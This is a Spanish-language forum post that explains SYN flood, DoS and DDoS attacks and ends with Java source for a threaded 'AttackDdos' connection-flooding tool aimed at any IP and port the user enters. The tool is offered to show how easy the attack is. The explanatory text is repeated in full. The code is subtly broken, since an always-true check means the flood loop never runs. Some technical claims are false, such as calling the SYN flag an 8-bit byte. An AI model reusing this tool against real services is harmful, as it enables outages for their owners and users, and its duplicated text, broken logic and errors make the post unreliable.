Daniel B.
Gamma
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Mucho hemos oído hablar de este tema, y la verdad que es un ataque muy común en los servidores y en una intranet,
tiene la gracias de este ataque no es "botar un servidor" Como se suele pensar....
Primero explicare como funciona una petición por red ...
Primero nuestro equipo conectado en una red, cuando quiere comunicarse con alguien de nuestra red o Internet por el protocolo TCP/IP,
lo primero que hace es enviar un paquete o trama denominado SYN .
SYN : es un byte (8 bits) de control dentro del segmento TCP, que se utiliza para sincronizar los números de secuencia iniciales ISN de una conexión en el procedimiento de establecimiento de tres fases (3 way handshake).
Se usa para sincronizar los números de secuencia en tres tipos de segmentos: petición de conexión, confirmación de conexión (con ACK activo) y la recepción de la confirmación (con ACK activo).
Cuando el equipo receptor recibe este paquete SYN, nos responderá con un paquete ACK junto a un paquete SYN también pidiendo comunicación con nosotros
ACK: (en español acuse de recibo), en comunicaciones entre computadores, es un mensaje que se envía para confirmar que un mensaje o un conjunto de mensajes han llegado. Si el terminal de destino tiene capacidad para detectar errores, el significado de ACK es "ha llegado y además ha llegado correctamente".
Nosotros al recibir este paquete ACK-SYN lo que hacemos finalmente es devolverle su paquete ACK para que el servidor y nosotros sepamos que hemos iniciado una conexión y estamos sincronizados en linea , entonces luego de esto comenzamos a transmitir los paquete de datos de informacion...
Entonces cuando nos atacan un servidor con DOS lo que ocurre es que el usuario que intenta conectarse comienza a enviar peticiones de conexión, osea paquetes SYN , pero no esperara una respuesta nuestra si no que enviara uno tras otros por eso también se le conoce como ataque SYN FLOOD o INUNDACIÓN DE SYN o DOS :xD:
ahora por que digo que realmente no deniega o bota un servidor, por que lo que atacamos es la tabla de paquete a nivel de conexión, osea que lo que realmente sucede es que nuestro servidor queda fuera de red por esos instante, por que el buffer de conexión si esta siendo llenado de peticiones SYN a lo cual el intentara responder con sus ACK-SYN, pero no le quedara tiempo hasta que se satura y colapsa....
Este firewall/proxy puede evitar un ataque, pero para tener un equipo de este nivel xD... es mucho dinero...
ante una red zombie se podría llegar a saturar pero si fuera demasiado grande
DDOS (Denegación Distribuida de servicios)
En este caso sucede lo mismo que un ataque DOS (Denegación de servicios), la gran diferencia que es un ataque distribuido desde pequeñas redes de 2 pcs hasta ciento o miles de pc .
Los virus o troyanos muchas veces lo que buscan es encontrar victimas para crear redes zombie, esto quiere decir que una persona como atacante se conecta a pc de segundas personas para generar un ataque distribuido fuera de su maquina, sin que no hayan registro en el ...
Este es un tipo de ataque muy común...
Dejar en claro que este tipo de ataque es muy difícil de poder detener, las conexiones por ip por ejemplo sirve pero ante un ddos no.
Dejo aqui un Archivo en java que tiempo atrás ocupe para demostrar lo fácil que es esto:
PD: Qué joda cuando roban la info...
tiene la gracias de este ataque no es "botar un servidor" Como se suele pensar....
Primero explicare como funciona una petición por red ...
Primero nuestro equipo conectado en una red, cuando quiere comunicarse con alguien de nuestra red o Internet por el protocolo TCP/IP,
lo primero que hace es enviar un paquete o trama denominado SYN .
SYN : es un byte (8 bits) de control dentro del segmento TCP, que se utiliza para sincronizar los números de secuencia iniciales ISN de una conexión en el procedimiento de establecimiento de tres fases (3 way handshake).
Se usa para sincronizar los números de secuencia en tres tipos de segmentos: petición de conexión, confirmación de conexión (con ACK activo) y la recepción de la confirmación (con ACK activo).
Cuando el equipo receptor recibe este paquete SYN, nos responderá con un paquete ACK junto a un paquete SYN también pidiendo comunicación con nosotros
ACK: (en español acuse de recibo), en comunicaciones entre computadores, es un mensaje que se envía para confirmar que un mensaje o un conjunto de mensajes han llegado. Si el terminal de destino tiene capacidad para detectar errores, el significado de ACK es "ha llegado y además ha llegado correctamente".
Nosotros al recibir este paquete ACK-SYN lo que hacemos finalmente es devolverle su paquete ACK para que el servidor y nosotros sepamos que hemos iniciado una conexión y estamos sincronizados en linea , entonces luego de esto comenzamos a transmitir los paquete de datos de informacion...
Entonces cuando nos atacan un servidor con DOS lo que ocurre es que el usuario que intenta conectarse comienza a enviar peticiones de conexión, osea paquetes SYN , pero no esperara una respuesta nuestra si no que enviara uno tras otros por eso también se le conoce como ataque SYN FLOOD o INUNDACIÓN DE SYN o DOS :xD:
ahora por que digo que realmente no deniega o bota un servidor, por que lo que atacamos es la tabla de paquete a nivel de conexión, osea que lo que realmente sucede es que nuestro servidor queda fuera de red por esos instante, por que el buffer de conexión si esta siendo llenado de peticiones SYN a lo cual el intentara responder con sus ACK-SYN, pero no le quedara tiempo hasta que se satura y colapsa....
Este firewall/proxy puede evitar un ataque, pero para tener un equipo de este nivel xD... es mucho dinero...
ante una red zombie se podría llegar a saturar pero si fuera demasiado grande
DDOS (Denegación Distribuida de servicios)
En este caso sucede lo mismo que un ataque DOS (Denegación de servicios), la gran diferencia que es un ataque distribuido desde pequeñas redes de 2 pcs hasta ciento o miles de pc .
Los virus o troyanos muchas veces lo que buscan es encontrar victimas para crear redes zombie, esto quiere decir que una persona como atacante se conecta a pc de segundas personas para generar un ataque distribuido fuera de su maquina, sin que no hayan registro en el ...
Este es un tipo de ataque muy común...
Dejar en claro que este tipo de ataque es muy difícil de poder detener, las conexiones por ip por ejemplo sirve pero ante un ddos no.
Dejo aqui un Archivo en java que tiempo atrás ocupe para demostrar lo fácil que es esto:
package attackddos;
/**
*
* @author 3l3cTr0n1k_0
*/
import java.net.*;
import java.util.*;
class AttackDdos implements Runnable {
public static String server = "";
public static int port = 80;
public AttackDdos() {
}
public static void main(String args[]) {
System.out.println("DDOS");
Scanner sc = new Scanner(System.in);
System.out.print("IP= ");
server = sc.nextLine();
System.out.print("Port= ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads= ");
int c = Integer.parseInt(sc.nextLine());
AttackDdos att = new AttackDdos();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}
public static void restart() {
Scanner sc = new Scanner(System.in);
System.out.print("IP= ");
server = sc.nextLine();
System.out.print("Port= ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads= ");
int c = Integer.parseInt(sc.nextLine());
AttackDdos att = new AttackDdos();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}
public void run() {
if (server.startsWith(server)) { System.out.println("arriba."); restart(); }
else {
while(true) {
try {
Socket s = new Socket(server, port);
System.out.println("atacando: "+server+":"+port);
} catch(Exception e) {
System.out.println("IP "+server+":"+port+" abajo:.");
}
}
}
}
}
PD: Qué joda cuando roban la info...